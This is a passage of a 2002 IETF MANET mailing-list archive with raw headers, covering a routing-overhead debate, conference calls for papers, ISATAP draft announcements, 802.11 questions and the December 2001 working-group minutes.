Re: resource about the power optimization on ad hoc ne

-- Best Regards. Peter Phuc Pham ========================================== The University of South Australia Institute for Telecommunications Research Mawson Lakes Campus SA5095 Office: 08-83023869 Email : ppham@spri.levels.unisa.edu.au WWW : http://www.itr.unisa.edu.au/~ppham ==========================================

Mobile Ad Hoc Networks '02, to take place in = Paris, France, from March 5 = to 8,=20 2002, will bring answers and enlightenment to all these questions = through=20 the presentations of leading-edge researchers in the domain. =

http://www.uppersid= e.fr/adhoc/adhocintro.htm

------=_NextPart_000_0099_01C1B56D.B1C7AB40-- From owner-manet@itd.nrl.navy.mil Thu Feb 14 14:12:47 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA06790 for ; Thu, 14 Feb 2002 14:12:47 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA08325 for manet-outgoing; Thu, 14 Feb 2002 11:44:01 -0500 (EST) Received: from web21007.mail.yahoo.com (web21007.mail.yahoo.com [216.136.227.61]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id LAA08320 for ; Thu, 14 Feb 2002 11:43:57 -0500 (EST) Message-ID: <20020214164353.75508.qmail@web21007.mail.yahoo.com> Received: from [65.88.242.115] by web21007.mail.yahoo.com via HTTP; Thu, 14 Feb 2002 08:43:53 PST Date: Thu, 14 Feb 2002 08:43:53 -0800 (PST) From: Yang Xiao Reply-To: YangXiao@ieee.org Subject: CFP-Deadline correction To: YangXiao@ieee.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk My apologies if you receive this CFP duplicated. ------------------- Call for Papers- Deadline correction Invited Session Title: Modeling, Analysis, and Simulation of Wireless LANs and Mobile Ad Hoc Networks and QoS Issues Invited Session in the 6th World Multi-Conference on Systemics, Cybernetics and Informatics, (SCI 2002) Orlando, Florida, USA, July 14 -18, 2002 Topics of Interest Wireless LANs & Mobile Ad Hoc Networks (not limited to) Simulation, Modeling and performance evaluation of Wireless LANs, such as IEEE 802.11, HIPERLAN, and Ad hoc Networks. Quality-of-service issues in Wireless LANs (IEEE 802.11e, HIPERLAN/2, etc.) and Ad Hoc Networks. Power Consumption issues Higher data rates 3G/4G-WLAN Differentiated Services for Wireless LANs Co-existence of the IEEE 802.11 and 802.15 Resource Management Analytical methods. Deadlines Submission of Extended Abstracts: February 17, 2002 Notification of Acceptance: March 10, 2002 Camera Ready Copies: April 03, 2002 Session Co-Organizers/co-chairs Dr. Yang Xiao, Micro Linear, USA Dr. Bin Wang, Wright State University, USA Instructions For Submission Submission should be in the form of extended abstracts up to 4 pages long. All submitted contributions will be subject to peer review on the basis of technical correctness, quality, relevance, originality, significance, and clarity. Abstracts should be in MS Word, PDF or PS format. Submissions should be sent to the session's co-organizers. Successful submissions will be asked to submit a full paper. Full papers must be formatted according to IEEE-CS guidelines Electronic Submission: Dr. Yang Xiao: YangXiao@IEEE.ORG Dr. Bin Wang: bwang@cs.wright.edu For more details check at http://www.iiis.org/sci2002/ last updated 02/11/02 __________________________________________________ Do You Yahoo!? Send FREE Valentine eCards with Yahoo! Greetings! http://greetings.yahoo.com From owner-manet@itd.nrl.navy.mil Thu Feb 14 22:18:40 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA16508 for ; Thu, 14 Feb 2002 22:18:40 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id TAA26529 for manet-outgoing; Thu, 14 Feb 2002 19:57:26 -0500 (EST) Received: from raisin.bbn.com (raisin.bbn.com [128.89.80.35]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id TAA26524 for ; Thu, 14 Feb 2002 19:57:23 -0500 (EST) Received: from bbn.com (localhost.bbn.com [127.0.0.1]) by raisin.bbn.com (8.11.1/8.11.1) with ESMTP id g1F0qX149009 for ; Thu, 14 Feb 2002 19:52:33 -0500 (EST) (envelope-from csantiva@bbn.com) Message-ID: <3C6C5BD1.5BC4ED0E@bbn.com> Date: Thu, 14 Feb 2002 19:52:33 -0500 From: Cesar Santivanez Organization: BBN Technologies (a Verizon's unit) X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: manet Subject: [Fwd: performance comparaison between Ad Hoc routing protocols] Content-Type: multipart/mixed; boundary="------------8D43B08AD0541A306FEDC759" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk This is a multi-part message in MIME format. --------------8D43B08AD0541A306FEDC759 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I am resending this e-mail, since for some reason it did not get posted ... Cesar --------------8D43B08AD0541A306FEDC759 Content-Type: message/rfc822 Content-Disposition: inline X-Mozilla-Status2: 00000000 Message-ID: <3C62930A.EA3DD0DB@bbn.com> Date: Thu, 07 Feb 2002 09:45:30 -0500 From: Cesar Santivanez Organization: BBN Technologies (a Verizon's unit) X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: ogier@erg.sri.com CC: manet@itd.nrl.navy.mil Subject: Re: performance comparaison between Ad Hoc routing protocols References: <200202070302.TAA16858@den.erg.sri.com> Content-Type: multipart/mixed; boundary="------------5A1E9F96CEEF78A8B6E43B71" This is a multi-part message in MIME format. --------------5A1E9F96CEEF78A8B6E43B71 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Richard, ogier@erg.sri.com wrote: > One problem with total overhead is that it is highly dependent on the > amount of data traffic sent, whereas routing control traffic is often > fairly independent of this. That is the whole point .... Routing protocols should be mobility and traffic sensitive ... As the bandwidth and data traffic increase, the `relative cost' of the control overhead decreases... There is an inherent trade off between control overhead and sub-optimal routng cost. Scalability analysis has shown that best peformance can be achieved when these two sources of overhead (or cost) are kept balanced. This means that if we allow data traffic demands to increase, then we should also let the `control overhead' to increase accordingly ... Now, dynamic adaptation to mobility and traffic may sound far fetch now, but it is something to explore in the future... For the time being, I would suggest to tune protocols to minimize the `total overhead' at the maximum expected traffic load ... This way your protocol will work efficiently when you need this efficiency the most, while under light load -- in most cases -- we may not care about expending extra control overhead bits since we have bandwidth to spare ... > > There are many instances in my experience where a mechanism that takes more > > overhead ends up doing better in terms of user metrics. > > I'm not sure if you mean "total overhead" here. I think Ram was referring to `control overhead' here ... > But since the min-hop path is not always the best path, it is certainly > possible for a protocol to perform better by using longer paths > (and thus more total overhead). Yeap.. Specially since `better' may mean less delay, less jitter, etc. What the `total overhead' metric gives you is an indication of the amount of capacity left for data traffic. So, gives you the `potencial' for data transmission. > Full flooding also achieves better > reliability by using more total overhead than other flooding mechanisms. Well, the `total overhead' framework assumes that the network layer provides reliable transmissions, that is, that never gives up until a packet reaches its destination. Thus, for efficient flooding techniques's total overhead's computation you would have to consider all the retransmissions required until getting the data packet to its intended destination. So, the total overhead assumes the `reliable' version (e.g. using network layer ACKs) of the protocols. > And the following example, in which neither of the two disjoint paths > from 1 to 4 uses a min-hop path, shows that sometimes throughput can be > increased by using more total overhead: > > 5-6 > / \ > / \ > 1 - 2 - 3 - 4 > \ / > \ / > 6-7 > Well, this is not the whole history ... Total overhead relates to remaining capacity, but for ALL the possible flows. You are assuming that only flow 1 --> 4 has traffic to sent, and I agree that in such a particular scenario you'll be better off with load balancing over least interfering paths. But if you consider the maximum combined rates of all the flows ( 1->6, 1 -> 7, 2 ->6, 2->7, etc.) you will see that the protocol with less total overhead is the one that achieves greater total throughput (granted, there are fairness issues -- specially in the presence of bottleneck links -- so we are not maximazing the minimum flow throughput here). So, if you are sure what traffic pattern you have, to may beat the total overhead design criteria. But if you are assuming that all flows are potentially possible, a better desing criteria would be to minimize the expected total overhead ... The total overhead metric allow for tractable models to be derived. It is not perfect since it ignores fairness issues (as well as the effect of bottleneck links) by assigning the same cost to all transmissions as oppose to assigning a smaller cost to transmission over `unused' areas of the network (due to the inherent assumption that the network load is high and diverse -- several flows -- and all areas of the network are going to be used). I'll be more than happy to discuss/explore better metrics that addresses the `total overhead' shortcomings while still allowing for meaningful tractable models to be developed... Regards Cesar > Richard > > > For a more formal treatment of TOTAL OVERHEAD, see > > > > Making Link State Routing Scale for Ad Hoc Networks, in Mobihoc 2001 by > > C. Santivanez et al > > > > On the Scalability of Routing for Ad Hoc Networks, to appear in Infocom 2002, > > by C. Santivanez et al > > > > > > > - is more likely to perform well in lower bandwidth radios such > > > as those used by the military. > > > > > > > > > ----------------------- > > > Richard Ogier > > > Sr. Research Engineer > > > SRI International > > > 333 Ravenswood Ave. > > > Menlo Park, CA 94025 > > > Tel: 650-859-4216 > > > Fax: 650-859-4812 > > > Email: ogier@erg.sri.com > > > ------------------------ > > > > > --------------5A1E9F96CEEF78A8B6E43B71 Content-Type: text/x-vcard; charset=us-ascii; name="csantiva.vcf" Content-Description: Card for Cesar Santivanez Content-Disposition: attachment; filename="csantiva.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Santivanez;Cesar x-mozilla-html:FALSE org:BBN Technologies (A Verizon's unit);Internetwork research adr:;;;;;; version:2.1 email;internet:csantiva@bbn.com title:Network Scientist x-mozilla-cpt:;0 fn:Cesar Santivanez end:vcard --------------5A1E9F96CEEF78A8B6E43B71-- --------------8D43B08AD0541A306FEDC759 Content-Type: text/x-vcard; charset=us-ascii; name="csantiva.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Cesar Santivanez Content-Disposition: attachment; filename="csantiva.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Santivanez;Cesar x-mozilla-html:FALSE org:BBN Technologies (A Verizon's unit);Internetwork research adr:;;;;;; version:2.1 email;internet:csantiva@bbn.com title:Network Scientist x-mozilla-cpt:;-29376 fn:Cesar Santivanez end:vcard --------------8D43B08AD0541A306FEDC759-- From owner-manet@itd.nrl.navy.mil Fri Feb 15 05:16:40 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01411 for ; Fri, 15 Feb 2002 05:16:40 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id CAA02372 for manet-outgoing; Fri, 15 Feb 2002 02:53:15 -0500 (EST) Received: from imc21.ex.nus.edu.sg (imc21.ex.nus.edu.sg [137.132.14.62]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id CAA02367; Fri, 15 Feb 2002 02:53:07 -0500 (EST) Received: by imc21.ex.nus.edu.sg with Internet Mail Service (5.5.2653.19) id ; Fri, 15 Feb 2002 15:53:06 +0800 Message-ID: <9C4C56CDF89E0440A6BD571E76D2387F01484325@exs23.ex.nus.edu.sg> From: Marwaha Shivanajay To: manet , manet@itd.nrl.navy.mil Subject: Sending rate in wireless Date: Fri, 15 Feb 2002 15:53:06 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk I have a query that the data rate using 802.11 & 802.11b are 2Mbps & 11Mbps respectively, but what is the packet size and sending rate (that is packets sent per second) to achieve the above rates. Also, can someone guide me as to how to implement 802.11b using NS2, cuz presently it has only 802.11 Thanking you. Yours sincerely, Shivanajay Marwaha ~-~~-~~-~~-~-~-~-~ RS, ECE Dept, NUS. www.nus.edu.sg ~-~~-~~-~~-~-~-~-~ From owner-manet@itd.nrl.navy.mil Fri Feb 15 14:24:40 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16618 for ; Fri, 15 Feb 2002 14:24:40 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA16993 for manet-outgoing; Fri, 15 Feb 2002 12:03:03 -0500 (EST) Received: from motgate3.mot.com (motgate3.mot.com [144.189.100.103]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA16985 for ; Fri, 15 Feb 2002 12:02:59 -0500 (EST) Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by motgate3.mot.com (motgate3 2.1) with ESMTP id JAA08166 for ; Fri, 15 Feb 2002 09:52:10 -0700 (MST)] Received: [from brc9exm01.ipsg.mot.com (brc9exm01.ipsg.mot.com [138.242.16.16]) by mothost.mot.com (MOT-mothost 2.0) with ESMTP id KAA10456; Fri, 15 Feb 2002 10:02:48 -0700 (MST)] Received: by brc9exm01.ipsg.mot.com with Internet Mail Service (5.5.2654.52) id <1KCHG6KL>; Fri, 15 Feb 2002 09:02:48 -0800 Message-ID: From: Brown Warren-YMDI110 To: "'Marwaha Shivanajay'" , manet , manet@itd.nrl.navy.mil Subject: RE: Sending rate in wireless Date: Fri, 15 Feb 2002 09:02:41 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.52) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk I believe this refers to the raw bit transfer rate at the physical layer. eg similar to 100 Mbps for 802.3 Ethernet. Warren Brown -----Original Message----- From: Marwaha Shivanajay [mailto:engp1609@nus.edu.sg] Sent: Thursday, February 14, 2002 11:53 PM To: manet; manet@itd.nrl.navy.mil Subject: Sending rate in wireless I have a query that the data rate using 802.11 & 802.11b are 2Mbps & 11Mbps respectively, but what is the packet size and sending rate (that is packets sent per second) to achieve the above rates. Also, can someone guide me as to how to implement 802.11b using NS2, cuz presently it has only 802.11 Thanking you. Yours sincerely, Shivanajay Marwaha ~-~~-~~-~~-~-~-~-~ RS, ECE Dept, NUS. www.nus.edu.sg ~-~~-~~-~~-~-~-~-~ From owner-manet@itd.nrl.navy.mil Fri Feb 15 16:48:39 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20774 for ; Fri, 15 Feb 2002 16:48:39 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id OAA24788 for manet-outgoing; Fri, 15 Feb 2002 14:46:10 -0500 (EST) Received: from SEXTANT.itd.nrl.navy.mil (sextant.itd.nrl.navy.mil [132.250.92.22]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id OAA24782; Fri, 15 Feb 2002 14:46:03 -0500 (EST) Message-Id: <5.0.1.4.2.20020215145309.0392bf48@pop.itd.nrl.navy.mil> X-Sender: macker@pop.itd.nrl.navy.mil X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Fri, 15 Feb 2002 14:55:23 -0500 To: Brown Warren-YMDI110 , "'Marwaha Shivanajay'" , manet , manet@itd.nrl.navy.mil From: Joe Macker Subject: RE: Sending rate in wireless In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Please move this and similar discussion/replies to the ns-user mailing list. -Joe At 09:02 AM 2/15/2002 -0800, Brown Warren-YMDI110 wrote: >I believe this refers to the raw bit transfer rate at the physical layer. eg similar to 100 Mbps for 802.3 Ethernet. > >Warren Brown > > >-----Original Message----- >From: Marwaha Shivanajay [mailto:engp1609@nus.edu.sg] >Sent: Thursday, February 14, 2002 11:53 PM >To: manet; manet@itd.nrl.navy.mil >Subject: Sending rate in wireless > > > >I have a query that the data rate using 802.11 & 802.11b are 2Mbps & 11Mbps >respectively, but what is the packet size and sending rate (that is packets >sent per second) to achieve the above rates. >Also, can someone guide me as to how to implement 802.11b using NS2, cuz >presently it has only 802.11 > >Thanking you. > >Yours sincerely, >Shivanajay Marwaha From owner-manet@itd.nrl.navy.mil Fri Feb 15 16:48:43 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20787 for ; Fri, 15 Feb 2002 16:48:43 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id OAA25139 for manet-outgoing; Fri, 15 Feb 2002 14:54:40 -0500 (EST) Received: from sfo.erg.sri.com (sfo.erg.sri.com [128.18.4.100] (may be forged)) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id OAA25132 for ; Fri, 15 Feb 2002 14:54:37 -0500 (EST) Received: from erg.sri.com (walleye.erg.sri.com [128.18.4.214]) by sfo.erg.sri.com (8.9.1/8.9.1) with ESMTP id LAA12965; Fri, 15 Feb 2002 11:48:20 -0800 (PST) Message-ID: <3C6D674B.90231DB2@erg.sri.com> Date: Fri, 15 Feb 2002 11:53:47 -0800 From: "Fred L. Templin" X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: manet CC: templin@erg.sri.com Subject: Intra-Site Automatic Tunnel Addressing Protocol (ISATAP) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hello, I would like to announce the following draft that proposes an IPv6 transition mechanism which may be of general interest to MANET. This draft is currently a working group item in the IETF NGTRANS WG, and specifies mechanisms for dealing with NBMA link layers that draw parallels to certain architectural considerations for MANET. Please note that I am cross-posting this from the IETF NGTRANS mailing list where the draft is currently undergoing active discussion. Please direct any comments you may have to both lists. Fred Templin templin@erg.sri.com "Intra-Site Automatic Tunnel Addressing Protocol (ISATAP)", F. Templin, et.al., 01/30/2002 http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-isatap-03.txt This document specifies the Intra-Site Automatic Tunnel Addressing Protocol (ISATAP) that connects IPv6 hosts and routers (nodes) within IPv4 sites. ISATAP is a transition mechanism that enables incremental deployment of IPv6 by treating the site's IPv4 infrastructure as a Non-Broadcast Multiple Access (NBMA) link layer. From owner-manet@itd.nrl.navy.mil Fri Feb 15 16:51:39 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20840 for ; Fri, 15 Feb 2002 16:51:39 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id PAA25368 for manet-outgoing; Fri, 15 Feb 2002 15:00:00 -0500 (EST) Received: from sfo.erg.sri.com (sfo.erg.sri.com [128.18.4.100] (may be forged)) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id OAA25356 for ; Fri, 15 Feb 2002 14:59:56 -0500 (EST) Received: from erg.sri.com (walleye.erg.sri.com [128.18.4.214]) by sfo.erg.sri.com (8.9.1/8.9.1) with ESMTP id LAA13009; Fri, 15 Feb 2002 11:53:39 -0800 (PST) Message-ID: <3C6D688A.99BF07C6@erg.sri.com> Date: Fri, 15 Feb 2002 11:59:06 -0800 From: "Fred L. Templin" X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: manet CC: templin@erg.sri.com Subject: Fast Convergence Extension for ISATAP Router Discovery References: <3C6D674B.90231DB2@erg.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hello, I would like to announce the following personal draft that proposes an optional extension for ISATAP which may be of specific interest to MANET. The optional extension may provide benefits for ISATAP when used in MANET environments. The draft is concise and to-the-point, and the subject matter can be grasped by a quick read of the abstract. At this time, my purpose in making this announcement is only to seek feedback from the community on what is being proposed. Thanks in advance for any comments you may have. Fred Templin templin@erg.sri.com "Fast Convergence Extension for ISATAP Router Discovery", Fred Templin, 02/01/2002 http://www.ietf.org/internet-drafts/draft-templin-ngtrans-isatapext-00.txt This document specifies an optional extension for [ISATAP] that supports fast convergence (i.e, fast discovery of on-link routers). The extension employs a subset of the multicast mechanisms specified by [6OVER4] to augment the NBMA mechanisms specified by [ISATAP]. From owner-manet@itd.nrl.navy.mil Fri Feb 15 20:52:50 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24668 for ; Fri, 15 Feb 2002 20:52:50 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id SAA02108 for manet-outgoing; Fri, 15 Feb 2002 18:19:45 -0500 (EST) Received: from RRMAIL01.RADIOROUTER_NT ([63.103.94.23]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id SAA02099 for ; Fri, 15 Feb 2002 18:19:41 -0500 (EST) Received: by planetajeans.com with Internet Mail Service (5.5.2653.19) id <1LTW8JPS>; Fri, 15 Feb 2002 18:19:40 -0500 Message-ID: <8C92E23A3E87FB479988285F9E22BE46994130@ftmail> From: Scott Corson To: "'Kilian Weniger'" , manet@itd.nrl.navy.mil Subject: RE: Minutes of 52nd IETF MANET WG meeting? Date: Fri, 15 Feb 2002 18:19:33 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Folks, Sorry for the lapse this time...we had this ready and never submitted it. -Scott n Joe **************************************************************************** *** Minutes of Dec 2001 MANET MTG The IETF manet WG held a recent meeting on December 11, 2001 in Salt Lake City, Utah, USA. The meeting began with a brief introduction by the WG chairmen, Joe Macker and Scott Corson and the customary agenda bashing session. WG Scope Discussion Scott Corson then led a discussion on WG scope and direction. With the recent change in Routing Area Directorship, the WG's scope and charter are under review, and there is a desire on the part of the Routing AD and the WG chairs to keep the group focused and working on near-term practical problems. It was reiterated by the co-chairs that work on multicast, QoS and address auto-configuration in manets is currently out of scope. Also, it was strongly suggested that work specifically oriented towards larger scale manets (TORA, ZRP-related drafts, LANMAR) be removed as WG work items due to the apparent lack of WG interest, but this was agreed to be taken to the list for discussion and consensus assessment. There was specific discussion on whether to still advance both AODV and DSR as Experimental RFCs as was previously agreed, or to try to come to WG consensus now on which of the two protocols should advance towards Proposed Standard status. The rough consensus of the WG seemed to favor continuing with both drafts moving to Experimental status, due to minimal operational experience and third party experimentation with the protocols. The short term goal would be to encourage further implementation and experimentation and for a "WG process" to be developed by which future reactive protocol decisions could be made. The suggestion was also put forth by the chairs to include work on manet "flooding" as a WG item; the thought being that flooding is a generic feature useful in manets for a variety of algorithms such as multicast and address auto-configuration mechanisms. Also the group has some experience with flooding mechanisms already as every unicast protocol makes use of a flooding mechanism to some degree. The conclusion of the discussion on WG scope was that focused work on reactive and proactive unicast routing protocols for manet should continue, and that flooding should be added as well. The rationale was that these pieces of work are relatively technically mature and that further experimentation and closure on specifics is needed before moving on to more complicated design areas. Further discussion of future scope will be taken to the list. Protocol Discussions A sequence of presentations then followed, not all of which are described here, so please see the meeting minutes for more information [1]. Richard Ogier briefly outlined recent changes to TBRPF, and then presented simulation results comparing the relative performances of TBRPF, OLSR and AODV. The discussion of these results was lively and the validity and effectiveness of the models developed for OLSR experimentation was openly questioned. Joe Macker raised the issue that the results presented for OLSR should not be taken as representative of the performance due to potential design issues with the Linux code based on version 3 of the draft specification. This earlier protocol implementation source code was used to develop the simulation results presented. The WG chairs encouraged further third party experimentation with newer simulation models under development as a further independent comparison of protocol performance and issues. Thomas Clausen followed with a summary of activity and progress regarding the work of the proactive protocol design team. The proactive routing design team activity was established within the WG to explore the potential for a compromise core protocol for proactive routing. A short term goal of this team was to explore the possibility of a design merge of the best aspects of approaches being proposed to further simplify and scope WG activity. The active membership has mostly consisted of work between TBRPF and OLSR authors. While progress was made in identifying common algorithm components and obtaining a shared understanding of the similarities and differences in the two approaches, the design team membership failed to close some of the gaps that existed between the designs of respective proposed algorithms. The conclusion of the early exploratory design team effort is that a merged protocol design was not likely without technical compromising existing proposals. Due to this outcome, respective proactive routing protocol groups have decided to continue to progress work on their respective individual protocols. Along with reactive protocols, the manet WG feels that the development of proactive protocols for manet is important for a number of mobile routing application areas and scenarios. This work is also reaching maturity rather quickly in terms of implementation and experimental experience. Now that the proactive routing design team has reached its initial conclusions, that a single protocol consensus design is unlikely, a WG decision process and timeline for progressing forward respective proposals needs to be established. References [1] Proceedings of the Fifty-Second Internet Engineering Task Force, Current Meeting Report for the manet WG, Salt Lake City, December 2001. From owner-manet@itd.nrl.navy.mil Sat Feb 16 18:07:12 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA17635 for ; Sat, 16 Feb 2002 18:07:12 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id PAA11003 for manet-outgoing; Sat, 16 Feb 2002 15:11:36 -0500 (EST) Received: from mx01.x263.net ([211.157.130.62]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id PAA10998 for ; Sat, 16 Feb 2002 15:11:32 -0500 (EST) From: berniejoe@x263.net Received: by mx01.x263.net (Postfix, from userid 500) id 0C85EA6869; Sun, 17 Feb 2002 04:14:14 +0800 (CST) To: manet@itd.nrl.navy.mil Subject: both in Ad-hoc mode and Infrastructure mode? Date: Sun, 17 Feb 2002 04:15:44 +0800 X-Priority: 3 X-MSMail-Priority: Normal MIME-Version: 1.0 X-Mailer: XMail-1.0 Content-Type: text/plain; charset="gb2312" Message-Id: <20020216201414.0C85EA6869@mx01.x263.net> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by itd.nrl.navy.mil id PAA10999 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit Hello all, We're conducting research on ad-hoc routing. I'd like to know if the wireless cards now available could work in both Ad-hoc mode and Infrastructure mode. I mean, you needn't switch the card between these two modes, and it could communicate with the Access Point and another wireless card at the same time. I'm not quite familiar about 802.11 standard, and I know it can't in Windows. But I heard that it works in Linux. Is that true? Thanks for any comments Bernie Joe »¶ÓÊ¹ÓÃ263ÌìÏÂÓÊÃâ·ÑÐÅÏä http://freemail.x263.net welcome to enjoy 263 Freemail http://freemail.x263.net _____________________________________________________ 263ÔÚÏß_ÖÐ¹úÈËµÄÍøÉÏ¼ÒÔ° Tel:010-64262631 Fax:010-64240295 (c)1998-2001°æÈ¨ËùÓÐ 263·þÎñÈÈÏß 263@263.net.cn From owner-manet@itd.nrl.navy.mil Mon Feb 18 00:31:49 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA18843 for ; Mon, 18 Feb 2002 00:31:49 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id WAA21786 for manet-outgoing; Sun, 17 Feb 2002 22:03:46 -0500 (EST) Received: from camars.kaist.ac.kr (camars.kaist.ac.kr [143.248.137.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id WAA21781 for ; Sun, 17 Feb 2002 22:03:42 -0500 (EST) Received: from capictor (capictor.kaist.ac.kr [143.248.150.112]) by camars.kaist.ac.kr (8.9.3/8.9.3) with SMTP id LAA25067 for ; Mon, 18 Feb 2002 11:53:42 +0900 (KST) Message-ID: <06ea01c1b828$d1f39a10$7096f88f@capictor> From: "Seung-hak Lee" To: Subject: The acronym of "International Workshop on Ad Hoc Networking 2002" has been changed. Date: Mon, 18 Feb 2002 12:03:19 +0900 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_06E7_01C1B874.4188B540" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_06E7_01C1B874.4188B540 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: base64 TXkgYXBvbG9naWVzIGlmIHlvdSByZWNlaXZlIHRoaXMgZS1tYWlsIGR1cGxpY2F0ZWQuDQotLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KVGhlIGFjcm9u eW0gIklXQU4yMDAyIiBoYXMgYmVlbiBjaGFuZ2VkIHRvICJJV0FITjIwMDIiLg0KDQpUaGVyZSBp cyBhIG5hbWUgY2xhY2ggYmV0d2VlbiBvdXIgd29ya3Nob3AsIElXQU4yMDAyIGFuZCB0aGUgSW50 ZXJuYWlvbmFsDQoNCldvcmtpbmcgQ29uZmVyZW5jZSBvbiBBY3RpdmUgTmV0d29ya3MgKGFsc28g SVdBTjIwMDIpLCB0byBiZSBoZWxkIGluIFp1cmljaCANCg0KaW4gRGVjZW1iZXIgMjAwMiwgc28g d2UgY2Fubm90IHVzZSB0aGUgIklXQU4yMDAyIg0KDQoNClRoZSBhZGRyZXNzIG9mIGhvbWUgcGFn ZSBhbHNvIGhhcyBiZWVuIGNoYW5nZWQgYXMgZm9sbG93cw0KDQpodHRwOi8vY2FsYWIua2Fpc3Qu YWMua3IvQ29uZi9JV0FITjIwMDIvDQoNCg0K ------=_NextPart_000_06E7_01C1B874.4188B540 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu 